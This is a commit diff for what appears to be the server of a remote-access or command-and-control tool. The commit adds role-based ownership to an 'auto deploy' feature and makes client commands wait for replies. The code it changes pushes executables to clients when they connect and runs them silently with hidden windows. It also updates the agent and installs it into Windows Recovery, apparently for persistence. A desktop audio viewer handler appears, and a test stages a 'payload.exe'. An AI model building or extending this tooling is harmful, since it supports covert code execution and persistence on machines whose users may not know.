fix uploading and more RBAC refinements for auto deploy

This commit is contained in:
KingKDot
2026-06-10 23:50:38 -05:00
parent c14d143a70
commit a1fd780caa
15 changed files with 701 additions and 154 deletions
+22 -2
View File
@@ -2250,6 +2250,7 @@ export type AutoDeploy = {
hideWindow: boolean;
enabled: boolean;
osFilter: string[];
createdByUserId: number | null;
createdAt: number;
updatedAt: number;
};
@@ -2272,6 +2273,7 @@ function mapAutoDeployRow(row: any): AutoDeploy {
hideWindow: row.hide_window === 1,
enabled: row.enabled === 1,
osFilter,
createdByUserId: row.created_by_user_id == null ? null : Number(row.created_by_user_id),
createdAt: Number(row.created_at) || 0,
updatedAt: Number(row.updated_at) || 0,
};
@@ -2282,6 +2284,14 @@ export function listAutoDeploys(): AutoDeploy[] {
return rows.map(mapAutoDeployRow);
}
export function listAutoDeploysForUser(userId: number, role: string): AutoDeploy[] {
if (role === "admin") return listAutoDeploys();
const rows = db
.query<any>(`SELECT * FROM auto_deploys WHERE created_by_user_id=? ORDER BY created_at DESC`)
.all(userId);
return rows.map(mapAutoDeployRow);
}
export function getAutoDeploysByTrigger(trigger: AutoDeployTrigger): AutoDeploy[] {
const rows = db
.query<any>(
@@ -2296,6 +2306,14 @@ export function getAutoDeploy(id: string): AutoDeploy | null {
return row ? mapAutoDeployRow(row) : null;
}
export function canUserManageAutoDeploy(userId: number, role: string, deployId: string): boolean {
if (role === "admin") return true;
const row = db
.query<{ created_by_user_id: number | null }>(`SELECT created_by_user_id FROM auto_deploys WHERE id=?`)
.get(deployId);
return row?.created_by_user_id != null && Number(row.created_by_user_id) === userId;
}
export function createAutoDeploy(input: {
id: string;
name: string;
@@ -2308,11 +2326,12 @@ export function createAutoDeploy(input: {
hideWindow: boolean;
enabled: boolean;
osFilter: string[];
createdByUserId: number;
}): AutoDeploy {
const now = Date.now();
db.run(
`INSERT INTO auto_deploys (id, name, trigger, file_path, file_name, file_size, file_os, args, hide_window, enabled, os_filter, created_at, updated_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
`INSERT INTO auto_deploys (id, name, trigger, file_path, file_name, file_size, file_os, args, hide_window, enabled, os_filter, created_by_user_id, created_at, updated_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
input.id,
input.name,
input.trigger,
@@ -2324,6 +2343,7 @@ export function createAutoDeploy(input: {
input.hideWindow ? 1 : 0,
input.enabled ? 1 : 0,
JSON.stringify(input.osFilter ?? []),
input.createdByUserId,
now,
now,
);
+10
View File
@@ -446,6 +446,7 @@ db.run(`
hide_window INTEGER NOT NULL DEFAULT 1,
enabled INTEGER NOT NULL,
os_filter TEXT NOT NULL DEFAULT '[]',
created_by_user_id INTEGER,
created_at INTEGER NOT NULL,
updated_at INTEGER NOT NULL
);
@@ -453,6 +454,15 @@ db.run(`
db.run(
`CREATE INDEX IF NOT EXISTS idx_auto_deploys_trigger ON auto_deploys(trigger, enabled);`,
);
try {
const columns = db.query<{ name: string }>(`PRAGMA table_info(auto_deploys)`).all();
if (!columns.some((column) => column.name === "created_by_user_id")) {
db.run(`ALTER TABLE auto_deploys ADD COLUMN created_by_user_id INTEGER`);
}
db.run(
`CREATE INDEX IF NOT EXISTS idx_auto_deploys_created_by_user_id ON auto_deploys(created_by_user_id);`,
);
} catch { /* legacy migration will retry on next startup */ }
db.run(`
CREATE TABLE IF NOT EXISTS auto_deploy_runs (
+2 -3
View File
@@ -499,6 +499,7 @@ async function startServer() {
deploy: {
DEPLOY_ROOT,
deployUploads,
pendingCommandReplies,
detectUploadOs,
normalizeClientOs,
},
@@ -621,9 +622,7 @@ async function startServer() {
handleDesktopAudioViewerMessage,
dispatchAutoScriptsForConnection,
dispatchAutoDeploysForConnection: (info: import("./types").ClientInfo, ws: import("bun").ServerWebSocket<SocketData>) => {
const proto = tls ? "https" : "http";
const origin = `${proto}://127.0.0.1:${PORT}`;
dispatchAutoDeploysForConnection(info, ws, origin);
dispatchAutoDeploysForConnection(info, ws, { pendingCommandReplies });
},
dispatchAutoLoadPlugins: (info: import("./types").ClientInfo) => {
dispatchAutoLoadPlugins(
@@ -0,0 +1,152 @@
import fs from "fs/promises";
import path from "path";
import { afterEach, describe, expect, test } from "bun:test";
import {
createAutoDeploy,
deleteAutoDeploy,
deleteClientRow,
upsertClientRow,
} from "../db";
import { decodeMessage } from "../protocol";
import {
createUser,
deleteUser,
getUserById,
setUserClientAccessRule,
setUserClientAccessScope,
} from "../users";
import type { ClientInfo } from "../types";
import { dispatchAutoDeploysForConnection } from "./auto-deploy-dispatch";
const PASSWORD = "Aa1!AutoDeployDispatchTestPass";
const createdUserIds: number[] = [];
const createdDeployIds: string[] = [];
const createdClientIds: string[] = [];
const createdDirs: string[] = [];
async function makeUser(role: "admin" | "operator" | "viewer") {
const username = `ad_${role.slice(0, 3)}_${Date.now().toString(36)}${Math.floor(Math.random() * 1e6).toString(36)}`;
const result = await createUser(username, PASSWORD, role, "test");
expect(result.success).toBe(true);
const user = getUserById(result.userId!);
expect(user).not.toBeNull();
createdUserIds.push(user!.id);
return user!;
}
function makeClient(id: string, os = "windows") {
const sent: Uint8Array[] = [];
upsertClientRow({
id,
os,
arch: "x64",
online: 1,
lastSeen: Date.now(),
});
createdClientIds.push(id);
const info: ClientInfo = {
id,
role: "client",
os,
lastSeen: Date.now(),
ws: {
send(message: Uint8Array) {
sent.push(message);
},
},
};
const viewerWs = { data: { wasKnown: true } } as any;
return { info, viewerWs, sent };
}
async function makeAutoDeploy(ownerId: number, name: string) {
const id = `auto-deploy-test-${Date.now().toString(36)}-${Math.floor(Math.random() * 1e6).toString(36)}`;
const dir = path.resolve(".test-data", "auto-deploy-dispatch", id);
const filePath = path.join(dir, "payload.exe");
await fs.mkdir(dir, { recursive: true });
await fs.writeFile(filePath, "payload");
createdDirs.push(dir);
createdDeployIds.push(id);
return createAutoDeploy({
id,
name,
trigger: "on_connect",
filePath,
fileName: "payload.exe",
fileSize: 7,
fileOs: "windows",
args: "",
hideWindow: true,
enabled: true,
osFilter: [],
createdByUserId: ownerId,
});
}
function sentCommandTypes(sent: Uint8Array[]): string[] {
return sent
.map((message) => decodeMessage(message) as any)
.map((message) => String(message?.commandType || ""));
}
async function resolvePendingOnce(pendingCommandReplies: Map<string, any>) {
const first = pendingCommandReplies.entries().next().value;
expect(first).toBeTruthy();
const [cmdId, pending] = first;
clearTimeout(pending.timeout);
pending.resolve({ ok: true, message: "ok" });
pendingCommandReplies.delete(cmdId);
await Promise.resolve();
}
afterEach(async () => {
while (createdDeployIds.length > 0) {
const id = createdDeployIds.pop();
if (typeof id === "string") deleteAutoDeploy(id);
}
while (createdClientIds.length > 0) {
const id = createdClientIds.pop();
if (typeof id === "string") deleteClientRow(id);
}
while (createdUserIds.length > 0) {
const id = createdUserIds.pop();
if (typeof id === "number") deleteUser(id);
}
while (createdDirs.length > 0) {
const dir = createdDirs.pop();
if (typeof dir === "string") await fs.rm(dir, { recursive: true, force: true });
}
});
describe("auto deploy dispatch", () => {
test("operator-owned auto deploys only run for clients allowed by RBAC", async () => {
const operator = await makeUser("operator");
setUserClientAccessScope(operator.id, "allowlist");
setUserClientAccessRule(operator.id, "ad-allowed-client", "allow");
await makeAutoDeploy(operator.id, "operator scoped");
const allowedPending = new Map<string, any>();
const allowed = makeClient("ad-allowed-client");
dispatchAutoDeploysForConnection(allowed.info, allowed.viewerWs, {
pendingCommandReplies: allowedPending,
});
expect(sentCommandTypes(allowed.sent)).toContain("file_upload_http");
expect(sentCommandTypes(allowed.sent)).not.toContain("silent_exec");
await resolvePendingOnce(allowedPending);
expect(sentCommandTypes(allowed.sent)).toContain("silent_exec");
await resolvePendingOnce(allowedPending);
const blockedPending = new Map<string, any>();
const blocked = makeClient("ad-blocked-client");
dispatchAutoDeploysForConnection(blocked.info, blocked.viewerWs, {
pendingCommandReplies: blockedPending,
});
expect(sentCommandTypes(blocked.sent)).not.toContain("file_upload_http");
expect(sentCommandTypes(blocked.sent)).not.toContain("silent_exec");
expect(blockedPending.size).toBe(0);
});
});
@@ -9,11 +9,86 @@ import type { ClientInfo } from "../types";
import { logAudit, AuditAction } from "../auditLog";
import { normalizeClientOs } from "./deploy-utils";
import { createUploadPull } from "./file-transfer-state";
import { canUserAccessClient, getUserById } from "../users";
const AUTO_DEPLOY_COMMAND_TIMEOUT_MS = 30 * 60 * 1000;
const AUTO_DEPLOY_UPLOAD_TTL_MS = 30 * 60 * 1000;
type PendingCommandResult = { ok: boolean; message?: string };
type PendingCommandReply = {
timeout: ReturnType<typeof setTimeout>;
resolve: (value: PendingCommandResult) => void;
clientId: string;
};
type AutoDeployDispatchDeps = {
pendingCommandReplies: Map<string, PendingCommandReply>;
};
function autoDeployCanRunOnClient(
deploy: { id: string; createdByUserId: number | null },
clientId: string,
): boolean {
if (deploy.createdByUserId == null) {
return true;
}
const owner = getUserById(deploy.createdByUserId);
if (!owner) {
logger.warn(`[auto-deploy] skipping ${deploy.id}: owner user ${deploy.createdByUserId} no longer exists`);
return false;
}
if (owner.role === "admin") {
return true;
}
return canUserAccessClient(owner.id, owner.role, clientId);
}
function getAutoDeployAuditUser(deploy: { createdByUserId: number | null }): string {
if (deploy.createdByUserId == null) return "system";
const owner = getUserById(deploy.createdByUserId);
return owner?.username || `user:${deploy.createdByUserId}`;
}
function waitForAutoDeployCommand(
deps: AutoDeployDispatchDeps,
info: ClientInfo,
commandType: string,
payload: unknown,
timeoutMessage: string,
): Promise<PendingCommandResult> {
const cmdId = uuidv4();
return new Promise((resolve) => {
const timeout = setTimeout(() => {
deps.pendingCommandReplies.delete(cmdId);
resolve({ ok: false, message: timeoutMessage });
}, AUTO_DEPLOY_COMMAND_TIMEOUT_MS);
deps.pendingCommandReplies.set(cmdId, { resolve, timeout, clientId: info.id });
try {
info.ws.send(
encodeMessage({
type: "command",
commandType: commandType as any,
id: cmdId,
payload,
}),
);
} catch (err) {
clearTimeout(timeout);
deps.pendingCommandReplies.delete(cmdId);
resolve({ ok: false, message: (err as Error)?.message || "send failed" });
}
});
}
export function dispatchAutoDeploysForConnection(
info: ClientInfo,
ws: ServerWebSocket<SocketData>,
serverOrigin: string,
deps: AutoDeployDispatchDeps,
): void {
if (info.role !== "client") return;
if (ws.data?.autoDeploysRan) return;
@@ -32,6 +107,10 @@ export function dispatchAutoDeploysForConnection(
const clientOs = normalizeClientOs(info.os);
for (const deploy of deploys) {
if (!autoDeployCanRunOnClient(deploy, info.id)) {
continue;
}
if (deploy.osFilter.length > 0) {
const rawOs = (info.os || "").toLowerCase();
if (!deploy.osFilter.includes(rawOs)) {
@@ -43,7 +122,6 @@ export function dispatchAutoDeploysForConnection(
if (hasAutoDeployRun(deploy.id, info.id)) {
continue;
}
recordAutoDeployRun(deploy.id, info.id);
}
// Verify the file still exists
@@ -70,64 +148,76 @@ export function dispatchAutoDeploysForConnection(
filePath: deploy.filePath,
fileName: deploy.fileName,
size: deploy.fileSize,
ttlMs: 120_000,
ttlMs: AUTO_DEPLOY_UPLOAD_TTL_MS,
});
const pullUrl = `${serverOrigin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
const pullUrl = `/api/file/upload/pull/${encodeURIComponent(pullId)}`;
try {
info.ws.send(
encodeMessage({
type: "command",
commandType: "file_upload_http" as any,
id: uuidv4(),
payload: { path: destPath, url: pullUrl, total: deploy.fileSize },
}),
);
if (clientOs !== "windows") {
info.ws.send(
encodeMessage({
type: "command",
commandType: "file_chmod" as any,
id: uuidv4(),
payload: { path: destPath, mode: "0755" },
}),
void (async () => {
const auditUser = getAutoDeployAuditUser(deploy);
try {
const uploadResult = await waitForAutoDeployCommand(
deps,
info,
"file_upload_http",
{ path: destPath, url: pullUrl, total: deploy.fileSize },
"Timed out waiting for auto-deploy upload to finish",
);
if (!uploadResult.ok) {
throw new Error(uploadResult.message || "auto-deploy upload failed");
}
if (clientOs !== "windows") {
const chmodResult = await waitForAutoDeployCommand(
deps,
info,
"file_chmod",
{ path: destPath, mode: "0755" },
"Timed out waiting for auto-deploy chmod to finish",
);
if (!chmodResult.ok) {
throw new Error(chmodResult.message || "auto-deploy chmod failed");
}
}
const execResult = await waitForAutoDeployCommand(
deps,
info,
"silent_exec",
{ command: destPath, args: deploy.args, hideWindow: deploy.hideWindow },
"Timed out waiting for auto-deploy execution to start",
);
if (!execResult.ok) {
throw new Error(execResult.message || "auto-deploy execution failed");
}
if (deploy.trigger === "on_connect_once") {
recordAutoDeployRun(deploy.id, info.id);
}
metrics.recordCommand("silent_exec");
logAudit({
timestamp: Date.now(),
username: auditUser,
ip: "server",
action: AuditAction.SILENT_EXECUTE,
targetClientId: info.id,
success: true,
details: `auto-deploy:${deploy.name} trigger=${deploy.trigger} file=${deploy.fileName}`,
});
logger.info(`[auto-deploy] dispatched ${deploy.id} (${deploy.trigger}) to ${info.id}`);
} catch (err) {
logger.warn(`[auto-deploy] failed to dispatch ${deploy.id} to ${info.id}`, err);
logAudit({
timestamp: Date.now(),
username: auditUser,
ip: "server",
action: AuditAction.SILENT_EXECUTE,
targetClientId: info.id,
success: false,
details: `auto-deploy:${deploy.name} trigger=${deploy.trigger} file=${deploy.fileName}`,
errorMessage: (err as Error)?.message || "send failed",
});
}
info.ws.send(
encodeMessage({
type: "command",
commandType: "silent_exec" as any,
id: uuidv4(),
payload: { command: destPath, args: deploy.args, hideWindow: deploy.hideWindow },
}),
);
metrics.recordCommand("silent_exec");
logAudit({
timestamp: Date.now(),
username: "system",
ip: "server",
action: AuditAction.SILENT_EXECUTE,
targetClientId: info.id,
success: true,
details: `auto-deploy:${deploy.name} trigger=${deploy.trigger} file=${deploy.fileName}`,
});
logger.info(`[auto-deploy] dispatched ${deploy.id} (${deploy.trigger}) to ${info.id}`);
} catch (err) {
logger.warn(`[auto-deploy] failed to dispatch ${deploy.id} to ${info.id}`, err);
logAudit({
timestamp: Date.now(),
username: "system",
ip: "server",
action: AuditAction.SILENT_EXECUTE,
targetClientId: info.id,
success: false,
details: `auto-deploy:${deploy.name} trigger=${deploy.trigger} file=${deploy.fileName}`,
errorMessage: (err as Error)?.message || "send failed",
});
}
})();
}
ws.data.autoDeploysRan = true;
@@ -2,10 +2,11 @@ import fs from "fs/promises";
import path from "path";
import { authenticateRequest } from "../../auth";
import {
canUserManageAutoDeploy,
createAutoDeploy,
deleteAutoDeploy,
getAutoDeploy,
listAutoDeploys,
listAutoDeploysForUser,
updateAutoDeploy,
type AutoDeployTrigger,
} from "../../db";
@@ -34,13 +35,13 @@ export async function handleAutoDeployRoutes(
});
}
try {
requirePermission(user, "clients:control");
requirePermission(user, "deploys:manage");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
return Response.json({ items: listAutoDeploys() });
return Response.json({ items: listAutoDeploysForUser(user.userId, user.role) });
}
if (req.method === "POST" && url.pathname === "/api/auto-deploys") {
@@ -113,6 +114,7 @@ export async function handleAutoDeployRoutes(
hideWindow,
enabled,
osFilter,
createdByUserId: user.userId,
});
return Response.json({ ok: true, item });
@@ -151,7 +153,12 @@ export async function handleAutoDeployRoutes(
? osFilterRaw.filter((v: unknown) => typeof v === "string" && ALLOWED_OS_FILTERS.has(v as string))
: undefined;
const updated = updateAutoDeploy(autoDeployMatch[1], {
const deployId = autoDeployMatch[1];
if (!canUserManageAutoDeploy(user.userId, user.role, deployId)) {
return Response.json({ error: "Not found" }, { status: 404 });
}
const updated = updateAutoDeploy(deployId, {
name: body?.name ? String(body.name).trim() : undefined,
trigger: triggerRaw as AutoDeployTrigger | undefined,
args: typeof body?.args === "string" ? body.args : undefined,
@@ -182,7 +189,12 @@ export async function handleAutoDeployRoutes(
return new Response("Forbidden", { status: 403 });
}
const deploy = getAutoDeploy(autoDeployMatch[1]);
const deployId = autoDeployMatch[1];
if (!canUserManageAutoDeploy(user.userId, user.role, deployId)) {
return Response.json({ error: "Not found" }, { status: 404 });
}
const deploy = getAutoDeploy(deployId);
if (deploy) {
try {
const dir = path.dirname(deploy.filePath);
@@ -190,7 +202,7 @@ export async function handleAutoDeployRoutes(
} catch { }
}
deleteAutoDeploy(autoDeployMatch[1]);
deleteAutoDeploy(deployId);
return Response.json({ ok: true });
}
@@ -24,13 +24,62 @@ type DeployUpload = {
os: DeployOs;
};
type PendingCommandReply = {
resolve: (result: { ok: boolean; message?: string }) => void;
reject: (error: Error) => void;
timeout: NodeJS.Timeout;
clientId: string;
};
type DeployRouteDeps = {
DEPLOY_ROOT: string;
deployUploads: Map<string, DeployUpload>;
pendingCommandReplies: Map<string, PendingCommandReply>;
detectUploadOs: (filename: string, bytes: Uint8Array) => DeployOs;
normalizeClientOs: (os?: string) => DeployOs;
};
const DEPLOY_COMMAND_TIMEOUT_MS = 30 * 60_000;
function waitForClientCommand(
deps: DeployRouteDeps,
target: any,
clientId: string,
command: any,
timeoutMessage: string,
timeoutMs = DEPLOY_COMMAND_TIMEOUT_MS,
): Promise<{ ok: boolean; message?: string }> {
const cmdId = command.id || uuidv4();
command.id = cmdId;
const replyPromise = new Promise<{ ok: boolean; message?: string }>((resolve, reject) => {
const timeout = setTimeout(() => {
deps.pendingCommandReplies.delete(cmdId);
resolve({ ok: false, message: timeoutMessage });
}, timeoutMs);
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId });
});
try {
target.ws.send(encodeMessage(command));
} catch (error) {
const pending = deps.pendingCommandReplies.get(cmdId);
if (pending) {
clearTimeout(pending.timeout);
deps.pendingCommandReplies.delete(cmdId);
}
return Promise.resolve({
ok: false,
message: (error as Error)?.message || "Failed to send command",
});
}
return replyPromise.catch((error) => ({
ok: false,
message: (error as Error)?.message || timeoutMessage,
}));
}
export async function handleDeployRoutes(
req: Request,
url: URL,
@@ -225,38 +274,63 @@ export async function handleDeployRoutes(
fileName: upload.name,
size: upload.size,
});
const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
target.ws.send(
encodeMessage({
const pullUrl = `/api/file/upload/pull/${encodeURIComponent(pullId)}`;
const uploadResult = await waitForClientCommand(
deps,
target,
clientId,
{
type: "command",
commandType: "file_upload_http",
id: uuidv4(),
payload: { path: destPath, url: pullUrl, total: upload.size },
}),
},
"Upload to client timed out",
);
if (!uploadResult.ok) {
results.push({ clientId, ok: false, reason: uploadResult.message || "upload_failed" });
continue;
}
if (clientOs !== "windows") {
target.ws.send(
encodeMessage({
const chmodResult = await waitForClientCommand(
deps,
target,
clientId,
{
type: "command",
commandType: "file_chmod",
id: uuidv4(),
payload: { path: destPath, mode: "0755" },
}),
},
"chmod timed out",
60_000,
);
if (!chmodResult.ok) {
results.push({ clientId, ok: false, reason: chmodResult.message || "chmod_failed" });
continue;
}
}
const displayCommand = formatCommandDisplay(destPath, args);
target.ws.send(
encodeMessage({
const execResult = await waitForClientCommand(
deps,
target,
clientId,
{
type: "command",
commandType: "silent_exec",
id: uuidv4(),
payload: { command: destPath, args, hideWindow },
}),
},
"Execution start timed out",
60_000,
);
if (!execResult.ok) {
results.push({ clientId, ok: false, reason: execResult.message || "execute_failed" });
continue;
}
metrics.recordCommand("silent_exec");
logAudit({
@@ -342,37 +416,62 @@ export async function handleDeployRoutes(
fileName: upload.name,
size: upload.size,
});
const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
target.ws.send(
encodeMessage({
const pullUrl = `/api/file/upload/pull/${encodeURIComponent(pullId)}`;
const uploadResult = await waitForClientCommand(
deps,
target,
clientId,
{
type: "command",
commandType: "file_upload_http",
id: uuidv4(),
payload: { path: destPath, url: pullUrl, total: upload.size },
}),
},
"Upload to client timed out",
);
if (!uploadResult.ok) {
results.push({ clientId, ok: false, reason: uploadResult.message || "upload_failed" });
continue;
}
if (clientOs !== "windows") {
target.ws.send(
encodeMessage({
const chmodResult = await waitForClientCommand(
deps,
target,
clientId,
{
type: "command",
commandType: "file_chmod",
id: uuidv4(),
payload: { path: destPath, mode: "0755" },
}),
},
"chmod timed out",
60_000,
);
if (!chmodResult.ok) {
results.push({ clientId, ok: false, reason: chmodResult.message || "chmod_failed" });
continue;
}
}
const hash = fileHash;
target.ws.send(
encodeMessage({
const updateResult = await waitForClientCommand(
deps,
target,
clientId,
{
type: "command",
commandType: "agent_update",
id: uuidv4(),
payload: { path: destPath, hash, hideWindow: true },
}),
},
"Update start timed out",
60_000,
);
if (!updateResult.ok) {
results.push({ clientId, ok: false, reason: updateResult.message || "update_failed" });
continue;
}
metrics.recordCommand("agent_update");
logAudit({
@@ -124,8 +124,11 @@ describe("file upload route flow", () => {
expect(stageJson.ok).toBe(true);
expect(stageJson.size).toBe(payload.length);
expect(typeof stageJson.pullUrl).toBe("string");
expect(stageJson.pullUrl.startsWith("/api/file/upload/pull/")).toBe(true);
expect(stageJson.agentNotified).toBe(false);
expect(stageJson.agentCommandId).toBeNull();
const pullUrl = new URL(stageJson.pullUrl);
const pullUrl = new URL(stageJson.pullUrl, "https://localhost");
const pullRes = await handleFileDownloadRoutes(
new Request(pullUrl, {
method: "GET",
@@ -228,7 +231,7 @@ describe("file upload route flow", () => {
);
const stageJson = await stageRes!.json() as any;
const pullUrl = new URL(stageJson.pullUrl);
const pullUrl = new URL(stageJson.pullUrl, "https://localhost");
const badPullRes = await handleFileDownloadRoutes(
new Request(pullUrl, {
method: "GET",
@@ -309,7 +312,7 @@ describe("file upload route flow", () => {
deps,
);
const stageJson = await stageRes!.json() as any;
const pullUrl = new URL(stageJson.pullUrl);
const pullUrl = new URL(stageJson.pullUrl, "https://localhost");
const firstPullRes = await handleFileDownloadRoutes(
new Request(pullUrl, {
@@ -403,40 +403,7 @@ export async function handleFileDownloadRoutes(
uploadIntents.delete(uploadId);
clearTimeout(intent.timeout);
let agentCommandId: string | null = null;
if (canStream) {
const target = clientManager.getClient(intent.clientId);
if (target) {
agentCommandId = uuidv4();
try {
target.ws.send(
encodeMessage({
type: "command",
commandType: "file_upload_http",
id: agentCommandId,
payload: {
path: intent.path,
url: `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`,
total: expectedTotal,
},
} as any),
);
logger.debug("[filebrowser] http upload eagerly notified agent", {
uploadId,
pullId,
clientId: intent.clientId,
total: expectedTotal,
commandId: agentCommandId,
});
} catch (err) {
logger.debug("[filebrowser] http upload eager notify failed", {
uploadId,
error: (err as Error)?.message || String(err),
});
agentCommandId = null;
}
}
}
const pullUrl = `/api/file/upload/pull/${encodeURIComponent(pullId)}`;
let stagedSize = 0;
const fileHandle = await fs.open(tmpPath, "w");
@@ -505,9 +472,9 @@ export async function handleFileDownloadRoutes(
ok: true,
size: stagedSize,
path: intent.path,
pullUrl: `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`,
agentCommandId,
agentNotified: !!agentCommandId,
pullUrl,
agentCommandId: null,
agentNotified: false,
});
}
@@ -33,11 +33,52 @@ type WinRERouteDeps = {
pendingCommandReplies: Map<string, PendingCommandReply>;
};
const WINRE_COMMAND_TIMEOUT_MS = 30 * 60_000;
function isWindowsClient(target: any): boolean {
const clientOs = (target?.os || "").toLowerCase();
return clientOs.includes("windows");
}
function waitForWinRECommand(
deps: WinRERouteDeps,
target: any,
clientId: string,
command: any,
timeoutMessage: string,
timeoutMs = WINRE_COMMAND_TIMEOUT_MS,
): Promise<{ ok: boolean; message?: string }> {
const cmdId = command.id || uuidv4();
command.id = cmdId;
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
deps.pendingCommandReplies.delete(cmdId);
resolve({ ok: false, message: timeoutMessage });
}, timeoutMs);
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId });
});
try {
target.ws.send(encodeMessage(command));
} catch (error) {
const pending = deps.pendingCommandReplies.get(cmdId);
if (pending) {
clearTimeout(pending.timeout);
deps.pendingCommandReplies.delete(cmdId);
}
return Promise.resolve({
ok: false,
message: (error as Error)?.message || "Failed to send command",
});
}
return replyPromise.catch((error) => ({
ok: false,
message: (error as Error)?.message || timeoutMessage,
}));
}
async function probeWinRE(deps: WinRERouteDeps, target: any, clientId: string): Promise<{ ok: boolean; reason?: string; message?: string }> {
const cmdId = uuidv4();
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
@@ -179,26 +220,41 @@ export async function handleWinRERoutes(
fileName: upload.name,
size: upload.size,
});
const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
target.ws.send(
encodeMessage({
const pullUrl = `/api/file/upload/pull/${encodeURIComponent(pullId)}`;
const uploadResult = await waitForWinRECommand(
deps,
target,
clientId,
{
type: "command",
commandType: "file_upload_http" as any,
id: uuidv4(),
payload: { path: destPath, url: pullUrl, total: upload.size },
}),
},
"Upload to client timed out",
);
if (!uploadResult.ok) {
results.push({ clientId, ok: false, reason: "upload_failed", error: uploadResult.message || "Upload to client failed" });
continue;
}
const cmdId = uuidv4();
target.ws.send(
encodeMessage({
const installResult = await waitForWinRECommand(
deps,
target,
clientId,
{
type: "command",
commandType: "winre_install",
id: cmdId,
id: uuidv4(),
payload: { filePath: destPath },
}),
},
"WinRE install timed out",
5 * 60_000,
);
if (!installResult.ok) {
results.push({ clientId, ok: false, reason: "install_failed", error: installResult.message || "WinRE install failed" });
continue;
}
metrics.recordCommand("winre_install");
logAudit({
@@ -261,15 +317,23 @@ export async function handleWinRERoutes(
continue;
}
const cmdId = uuidv4();
target.ws.send(
encodeMessage({
const installResult = await waitForWinRECommand(
deps,
target,
clientId,
{
type: "command",
commandType: "winre_install",
id: cmdId,
id: uuidv4(),
payload: { useSelf: true },
}),
},
"WinRE install timed out",
5 * 60_000,
);
if (!installResult.ok) {
results.push({ clientId, ok: false, reason: "install_failed", error: installResult.message || "WinRE install failed" });
continue;
}
metrics.recordCommand("winre_install");
logAudit({
@@ -332,15 +396,23 @@ export async function handleWinRERoutes(
continue;
}
const cmdId = uuidv4();
target.ws.send(
encodeMessage({
const uninstallResult = await waitForWinRECommand(
deps,
target,
clientId,
{
type: "command",
commandType: "winre_uninstall",
id: cmdId,
id: uuidv4(),
payload: {},
}),
},
"WinRE uninstall timed out",
5 * 60_000,
);
if (!uninstallResult.ok) {
results.push({ clientId, ok: false, reason: "uninstall_failed", error: uninstallResult.message || "WinRE uninstall failed" });
continue;
}
metrics.recordCommand("winre_uninstall");
logAudit({